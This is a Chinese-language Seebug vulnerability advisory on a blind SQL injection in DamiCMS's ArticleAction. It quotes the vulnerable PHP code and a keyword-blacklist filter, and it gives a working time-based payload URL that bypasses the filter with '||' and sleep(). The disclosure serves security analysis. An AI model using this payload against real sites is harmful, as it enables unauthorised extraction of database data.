大米CMS某处SQL盲注绕过防御

2014-11-03T00:00:00
ID SSV:95294
Type seebug
Reporter Root
Modified 2014-11-03T00:00:00

Description

简要描述:

大米CMS某处SQL盲注

详细说明:

最新版大米CMS 文件/Web/Lib/Action/ArticleAction.class.php

public function index() { if(!isset($_GET['aid'])) { $this->error('非法操作'); } inject_check($_GET['aid']); inject_check($_GET['p']); $aid = intval($_GET['aid']); //读取数据库和缓存 ob_start(); //用于生成静态HTML $is_build = C('IS_BUILD_HTML'); //允许参数 $allow_param = array('p','keyword'); $static_file ='./Html/'.cookie('think_template').'/articles/'.$aid; $mid_str =''; if(count($_REQUEST) >1) { foreach($_REQUEST as $k=>$v){ if($k != 'aid' && in_array($k,$allow_param)){ $mid_str .= '/'.$k.'/'.$v; } } } $static_file .= ($mid_str .'.html'); $path = './ArticleAction.class.php'; $php_file = basename($path); parent::html_init($static_file,$php_file,$is_build); //以下是动态代码 $article = M('article'); $config = F('basic','','./Web/Conf/'); $page_model = 'page/page_default.html'; //相关判断 $alist = $article->where('aid='.intval($_GET['aid']))->find(); if(!$alist) { alert('文章不存在或已删除!',__APP__); } if($alist['islink'] == 1) { Header('Location:'.$alist['linkurl']); } if($alist['status'] == 0) { alert('文章未审核!',__APP__); } $this->assign('title',$alist['title']); parent::tree_dir($alist['typeid'],'tree_list'); $type = M('type'); $list = $type->where('typeid='.intval($alist['typeid']))->find(); $this->assign('type',$list); $a = M('type')->where('typeid='.$alist['typeid'])->getField('page_path'); if( $a !='' && file_exists(TMPL_PATH.cookie('think_template').'/'.$a)){ $page_model = $a; } //网站头部 R('Public','head'); R('Public','py_link'); //统计处理 if($alist['status'] == 1) { $map['hits'] = $alist['hits']+1; //echo $_GET['aid']; $article->where('aid='.$_GET['aid'])->save($map); }

看最后一行:

$article->where('aid='.$_GET['aid'])->save($map);

$_GET['aid']直接进入SQL了 这里在前面有检测$_GET['aid'] inject_check($_GET['aid']); 来看看这个inject_check函数,文件/Web/Common/common.php

//防止sql注入 function inject_check($str) { $tmp=eregi('select|insert|update|and|or|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str); if($tmp) { alert("非法操作!",3); } else { return $str; } }

这里过滤一些关键字,但是我们可以绕过进行盲注 这里可以是使用:

http://localhost/dami/index.php?s=/articles/127+||+if(hex(mid(user(),1,1))=72,sleep(1),0)

这样就可以绕过,进行盲注了

漏洞证明:

访问:

http://localhost/dami/index.php?s=/articles/127+||+if(hex(mid(user(),1,1))=72,sleep(1),0)

这是会延迟18秒,由于默认安装大米cms后数据表中有18行数据,所以这里会延迟18s 具体利用见测试代码

<img src="https://images.seebug.org/upload/201410/31171405ced41526f2a275b93c558d897097a378.png" alt="dami.png" width="600" onerror="javascript:errimg(this);">